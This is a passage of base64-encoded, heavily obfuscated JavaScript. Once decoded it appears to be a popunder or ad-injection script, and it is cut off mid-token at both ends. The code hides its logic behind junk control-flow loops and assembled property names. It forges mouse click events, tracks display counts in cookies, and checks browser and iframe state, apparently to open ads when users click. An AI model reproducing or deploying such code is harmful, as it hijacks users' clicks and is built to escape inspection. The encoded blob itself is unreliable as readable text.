ZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dz